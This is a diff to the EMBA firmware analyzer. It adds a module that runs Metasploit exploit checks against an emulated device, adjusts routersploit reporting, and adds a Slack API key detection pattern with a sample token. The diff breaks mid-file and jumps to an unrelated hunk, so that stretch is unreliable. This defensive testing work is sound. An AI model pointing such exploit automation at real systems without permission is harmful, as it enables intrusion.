a/modules/L25_web_checks.sh +++ b/modules/L25_web_checks.sh @@ -64,8 +64,8 @@ main_web_check() { # handle first https and afterwards http if [[ "$SERVICE" == *"ssl|http"* ]] || [[ "$SERVICE" == *"ssl/http"* ]];then - # we make a screenshot for every web server if ping -c 1 "$IP_ADDRESS_" &> /dev/null; then + # we make a screenshot for every web server make_web_screenshot "$IP_ADDRESS_" "$PORT" else print_output "[-] System not responding - No screenshot possible" diff --git a/modules/L30_routersploit.sh b/modules/L30_routersploit.sh index ceacb8fe9..8cda9a9d9 100755 --- a/modules/L30_routersploit.sh +++ b/modules/L30_routersploit.sh @@ -60,14 +60,14 @@ check_live_routersploit() { mv /tmp/routersploit.log "$LOG_PATH_MODULE"/routersploit-detail-"$IP_ADDRESS_".txt fi - cat "$LOG_PATH_MODULE"/routersploit-"$IP_ADDRESS_".txt >> "$LOG_FILE" print_ln if grep -q "Target is vulnerable" "$LOG_PATH_MODULE"/routersploit-"$IP_ADDRESS_".txt; then - print_output "[+] Found the following vulnerabilities:" + print_output "[+] Found the following vulnerabilities:" "" "$LOG_PATH_MODULE/routersploit-$IP_ADDRESS_.txt" grep -B 1 "Target is vulnerable" "$LOG_PATH_MODULE"/routersploit-"$IP_ADDRESS_".txt | tee -a "$LOG_FILE" fi if grep -q "Target seems to be vulnerable" "$LOG_PATH_MODULE"/routersploit-"$IP_ADDRESS_".txt; then - print_output "[+] Found the following possible vulnerabilities:" + print_ln + print_output "[+] Found the following possible vulnerabilities:" "" "$LOG_PATH_MODULE/routersploit-$IP_ADDRESS_.txt" grep -B 1 "Target seems to be vulnerable" "$LOG_PATH_MODULE"/routersploit-"$IP_ADDRESS_".txt | tee -a "$LOG_FILE" fi print_output "[*] Routersploit tests for emulated system with IP $ORANGE$IP_ADDRESS_$NC finished" diff --git a/modules/L35_metasploit_check.sh b/modules/L35_metasploit_check.sh new file mode 100755 index 000000000..176b2368c --- /dev/null +++ b/modules/L35_metasploit_check.sh @@ -0,0 +1,123 @@ +#!/bin/bash -p + +# EMBA - EMBEDDED LINUX ANALYZER +# +# Copyright 2020-2022 Siemens Energy AG +# +# EMBA comes with ABSOLUTELY NO WARRANTY. This is free software, and you are +# welcome to redistribute it under the terms of the GNU General Public License. +# See LICENSE file for usage of this software. +# +# EMBA is licensed under GPLv3 +# +# Author(s): Michael Messner + +# Description: Tests the emulated live system which is build and started in L10 with Metasploit +# Currently this is an experimental module and needs to be activated separately via the -Q switch. +# It is also recommended to only use this technique in a dockerized or virtualized environment. + +# Threading priority - if set to 1, these modules will be executed first +export THREAD_PRIO=0 + +L35_metasploit_check() { + + local MODULE_END=0 + if [[ "$SYS_ONLINE" -eq 1 ]] && [[ "$TCP" == "ok" ]]; then + if ! command -v msfconsole > /dev/null; then + print_output "[-] Metasploit not available - Not performing metasploit checks" + return + fi + if ! [[ -f "$HELP_DIR""/l35_msf_check.rc" ]]; then + print_output "[-] Metasploit resource script not available - Not performing metasploit checks" + return + fi + + module_log_init "${FUNCNAME[0]}" + module_title "Metasploit exploit checks of emulated device." + pre_module_reporter "${FUNCNAME[0]}" + + if [[ $IN_DOCKER -eq 0 ]] ; then + print_output "[!] This module should not be used in developer mode and could harm your host environment." + fi + if [[ -n "$IP_ADDRESS_" ]]; then + if ping -c 1 "$IP_ADDRESS_" &> /dev/null; then + + check_live_metasploit + MODULE_END=1 + else + print_output "[-] System not responding - Not performing routersploit checks" + fi + else + print_output "[!] No IP address found" + fi + write_log "" + module_end_log "${FUNCNAME[0]}" "$MODULE_END" + fi +} + +check_live_metasploit() { + sub_module_title "Metasploit tests for emulated system with IP $ORANGE$IP_ADDRESS_$NC" + local PORTS="" + local PORTS_ARR=() + local MSF_VULN="" + local MSF_VULNS_VERIFIED=() + local MSF_MODULE="" + local ARCH_END="" + + mapfile -t PORTS_ARR < <(grep -a -h " /dev/null || true) if [[ "$VULNS" -eq 0 ]] ; then - rm "$PHP_LOG" + rm "$PHP_LOG" 2>/dev/null || true fi if [[ "$VULNS" -gt 0 ]] ; then diff --git a/modules/S99_grepit.sh b/modules/S99_grepit.sh index ea0ab8031..87cb2a38d 100755 --- a/modules/S99_grepit.sh +++ b/modules/S99_grepit.sh @@ -3837,6 +3837,7 @@ grepit_module_api_keys() { print_output "[*] Starting Grepit API keys module" "no_log" grepit_search "Slack API keys" \ + # nosemgrep 'xoxp-683201246722-694612795216-829330901254-7ec6cd4f9686bc6dce91f9d81f717dbf' \ 'FALSE_POSITIVES_EXAMPLE_PLACEHOLDER' \ "xox[p|b|o|a]-[0-9]{12}" \